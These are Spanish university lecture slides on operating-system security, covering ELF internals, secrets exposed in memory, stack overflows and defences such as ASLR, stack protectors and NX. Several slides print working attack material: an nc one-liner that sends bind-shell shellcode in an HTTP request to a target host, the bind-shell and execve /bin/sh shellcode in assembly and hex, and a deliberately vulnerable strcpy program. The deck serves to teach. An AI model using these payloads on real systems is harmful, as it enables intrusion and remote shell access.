SlideShare una empresa de Scribd logo
Seguridad en Sistemas Operativos
Ataque y Defensa
Jacobo Avariento Gimeno
jacobo@sofistic.net
15 de junio de 2011
Universitat Jaume I
Seguridad so pi_2011
1 Intro
2 Breve repaso al S.O. GNU/Linux
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
3 Ataques a ficheros ejecutables
Llamadas al sistema
Accediendo a la memoria
4 Desbordamientos de pila
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
5 Desbordamientos de enteros
6 Seguridad f´ısica
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Vulnerabilidad, Exploit, POC
echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn
Host: $hostrnrn" | nc $host 80
Source: http://ciberjacobo.com/sec/mod rewrite.html
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Code
.section .text
.globl _start
_start:
mov %esp,%esi
xorl %eax,%eax
xorl %ebx,%ebx
movl %esi,%ecx
Code cont’d
movl %eax,(%esi)
movb $0x2,%al
movw %ax,0xc(%esi)
movb $0x77,%al # 0x77 = port 30464
movw %ax,0xe(%esi)
leal 0xc(%esi),%eax
movl %eax,0x4(%esi)
xorl %eax,%eax
movl %eax,0x10(%esi)
movb $0x10,%al
movl %eax,0x8(%esi)
movb $0x66,%al
movb $0x2,%bl
int $0x80
movb $0x1,%al
movl %eax,0x4(%esi)
movb $0x66,%al
movb $0x4,%bl
int $0x80
xorl %eax,%eax
movl %eax,0x4(%esi)
movl %eax,0x8(%esi)
movb $0x66,%al
movb $0x5,%bl
int $0x80
movb %al,%bl
movb $0x3f,%al
xorl %ecx,%ecxJacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Breve repaso al S.O. GNU/Linux
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Privilegios de ejecuci´on
RUID: “Real User ID“. getuid()
EUID: “Effective User ID“. geteuid()
-rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Espacio de Memoria Virtual de un proceso
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Disposici´on de la pila (“Stack Layout“)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff 
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff 
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Devolviendo el control al programa...
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Ataques a ficheros ejecutables
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Desbordamientos de pila
”Stack Overflow“
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Por qu´e da ”Segmentation Fault”?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte I: Aprovecharse de la vulnerabilidad
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
/* shell sh spawner without placeholders by jack */
char shellcode2[] =
"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff"
"xffx2fx62x69x6ex2fx73x68";
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
; nasm -f elf execve2.asm
; execve(const char *path, char *const argv[], char *const envp[]);
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax,eax
mov byte [esi + 7], al ; J = 0x0
lea ebx, [esi] ; ebx = &’/bin/sh’
mov long [esi + 8], ebx ; AAAA = dir de /bin/sh
mov long [esi + 12], eax ; KKKK = 0x0000
mov byte al, 0x0b ; sys_execve syscall #11
mov ebx, esi ; argv1
lea ecx, [esi + 8] ; argv2
lea edx, [esi + 12] ; argv3
int 0x80
GotoCall:
call shellcode
db ’/bin/shJAAAAKKKK’
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
